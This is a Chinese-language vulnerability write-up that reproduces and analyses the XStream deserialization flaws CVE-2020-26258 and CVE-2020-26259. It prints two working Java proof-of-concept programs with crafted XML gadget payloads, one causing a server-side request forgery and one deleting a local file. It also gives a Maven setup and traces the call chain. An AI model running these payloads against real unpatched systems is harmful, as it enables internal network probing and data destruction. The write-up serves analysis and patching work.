您好,登錄后才能下訂單哦!
XStream反序列化漏洞CVE-2020-26258及26259的復(fù)現(xiàn)與分析是怎樣的,相信很多沒(méi)有經(jīng)驗(yàn)的人對(duì)此束手無(wú)策,為此本文總結(jié)了問(wèn)題出現(xiàn)的原因和解決方法,通過(guò)這篇文章希望你能解決這個(gè)問(wèn)題。
Xstream 是 Java 類庫(kù),用來(lái)將對(duì)象序列化成 XML (JSON) 或反序列化為對(duì)象。XStream 是一款開源軟件,允許在 BSD 許可證的許可下分發(fā)。
Xstream上次對(duì)CVE-2020-26217處理并不徹底,雖然通過(guò)黑名單方法阻止了遠(yuǎn)程代碼執(zhí)行,但是仍然可以采用類似思路實(shí)現(xiàn)文件刪除與服務(wù)器請(qǐng)求偽造。
Xstream < = 1.4.14
Xstream > = 1.4.15
嚴(yán)重
import com.thoughtworks.xstream.XStream;/*CVE-2020-26258: A Server-Side Forgery Request can be activated unmarshallingwith XStream to access data streams from an arbitrary URL referencing a resource in an intranet or the local host.All versions until and including version 1.4.14https://x-stream.github.io/CVE-2020-26258.htmlSecurity framework of XStream not explicitly initialized, using predefined black list on your own risk.*/public class CVE_2020_26258 {public static void main(String[] args) {String ssrf_xml = "<map>\n" +" <entry>\n" +" <jdk.nashorn.internal.objects.NativeString>\n" +" <flags>0</flags>\n" +" <value class='com.sun.xml.internal.bind.v2.runtime.unmarshaller.Base64Data'>\n" +" <dataHandler>\n" +" <dataSource class='javax.activation.URLDataSource'>\n" +" <url>http://localhost:8989/internal/:</url>\n" +" </dataSource>\n" +" <transferFlavors/>\n" +" </dataHandler>\n" +" <dataLen>0</dataLen>\n" +" </value>\n" +" </jdk.nashorn.internal.objects.NativeString>\n" +" <string>test</string>\n" +" </entry>\n" +"</map>";XStream xstream = new XStream();xstream.fromXML(ssrf_xml);}}
import com.thoughtworks.xstream.XStream;/*CVE-2020-26259: XStream is vulnerable to an Arbitrary File Deletion on the local hostwhen unmarshalling as long as the executing process has sufficient rights.https://x-stream.github.io/CVE-2020-26259.htmlSecurity framework of XStream not explicitly initialized, using predefined black list on your own risk.*/public class CVE_2020_26259 {public static void main(String[] args) {String xml_poc = "<map>\n" +" <entry>\n" +" <jdk.nashorn.internal.objects.NativeString>\n" +" <flags>0</flags>\n" +" <value class='com.sun.xml.internal.bind.v2.runtime.unmarshaller.Base64Data'>\n" +" <dataHandler>\n" +" <dataSource class='com.sun.xml.internal.ws.encoding.xml.XMLMessage$XmlDataSource'>\n" +" <contentType>text/plain</contentType>\n" +" <is class='com.sun.xml.internal.ws.util.ReadAllStream$FileStream'>\n" +" <tempFile>/tmp/CVE-2020-26259</tempFile>\n" +" </is>\n" +" </dataSource>\n" +" <transferFlavors/>\n" +" </dataHandler>\n" +" <dataLen>0</dataLen>\n" +" </value>\n" +" </jdk.nashorn.internal.objects.NativeString>\n" +" <string>test</string>\n" +" </entry>\n" +"</map>";XStream xstream = new XStream();xstream.fromXML(xml_poc);}}
idea 構(gòu)建maven工程,使用上述 PoC,pom文件為:
<?xml version="1.0" encoding="UTF-8"?><project xmlns="http://maven.apache.org/POM/4.0.0"xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"xsi:schemaLocation="http://maven.apache.org/POM/4.0.0 http://maven.apache.org/xsd/maven-4.0.0.xsd"><modelVersion>4.0.0</modelVersion><groupId>1</groupId><artifactId>1</artifactId><version>1.0-SNAPSHOT</version><!-- https://mvnrepository.com/artifact/com.thoughtworks.xstream/xstream --><dependencies><dependency><groupId>com.thoughtworks.xstream</groupId><artifactId>xstream</artifactId><version>1.4.14</version></dependency></dependencies></project>
直接運(yùn)行即可。
復(fù)現(xiàn)
CVE-2020-26258
使用 flask 開一個(gè)臨時(shí)服務(wù)
運(yùn)行 PoC 收到請(qǐng)求
CVE-2020-26259
運(yùn)行 PoC 前:
運(yùn)行 PoC 后:
這兩個(gè)漏洞基本類似上次的CVE-2020-26217,主要是利用 Xstream 在反序列化map 對(duì)象時(shí)會(huì)檢查是否存在 entry:如果存在,那么在構(gòu)建這個(gè) entry 的過(guò)程中,會(huì)調(diào)用 entry 的hashCode 函數(shù)。CVE-2020-26217與本次兩個(gè)都是使用到了jdk.nashorn.internal.objects.NativeString 的 hashCode函數(shù)。
使用 xstream 的 fromXml 進(jìn)行反序列化:
跟進(jìn)到 putCurrentEntryIntoMap,在 Xstream 構(gòu)建 entry 的過(guò)程中,將本次的key 值即我們提供的 NativeString, put 到 map中:
put 過(guò)程會(huì)進(jìn)行一步 hash 操作:
在 hash 里調(diào)用了key 的 hashCode 函數(shù),即我們輸入的jdk.nashorn.internal.objects.NativeString 的 hashCode 函數(shù)。
NativeString 的 hashCode 函數(shù)調(diào)用 getStringValue,進(jìn)而調(diào)用其 value 的toString 函數(shù),而這個(gè)value則是我們提供的com.sun.xml.internal.bind.v2.runtime.unmarshaller.Base64Data。
Base64Data 的 toString 調(diào)用了其 get。
目前為止,這兩個(gè)漏洞與CVE-2020-26217一致。CVE-2020-26217 利用的是readFrom 及其后續(xù),不過(guò)因?yàn)?Xstream 黑名單限制了進(jìn)行遠(yuǎn)程代碼執(zhí)行,這里利用 getInputStream 與 close 進(jìn)行 ssrf 和文件刪除。
InputStream is = this.dataHandler.getDataSource().getInputStream();
是觸發(fā)ssrf的地方,使用 javax.activation.URLDataSource 的 getInputStream 函數(shù):
URLDataSource 的 getInputStream 函數(shù)就是訪問(wèn)傳入的 url。
文件刪除則是在 ReadAllStream 的 close里進(jìn)行的。
添加黑名單。
看完上述內(nèi)容,你們掌握XStream反序列化漏洞CVE-2020-26258及26259的復(fù)現(xiàn)與分析是怎樣的的方法了嗎?如果還想學(xué)到更多技能或想了解更多相關(guān)內(nèi)容,歡迎關(guān)注億速云行業(yè)資訊頻道,感謝各位的閱讀!
免責(zé)聲明:本站發(fā)布的內(nèi)容(圖片、視頻和文字)以原創(chuàng)、轉(zhuǎn)載和分享為主,文章觀點(diǎn)不代表本網(wǎng)站立場(chǎng),如果涉及侵權(quán)請(qǐng)聯(lián)系站長(zhǎng)郵箱:is@yisu.com進(jìn)行舉報(bào),并提供相關(guān)證據(jù),一經(jīng)查實(shí),將立刻刪除涉嫌侵權(quán)內(nèi)容。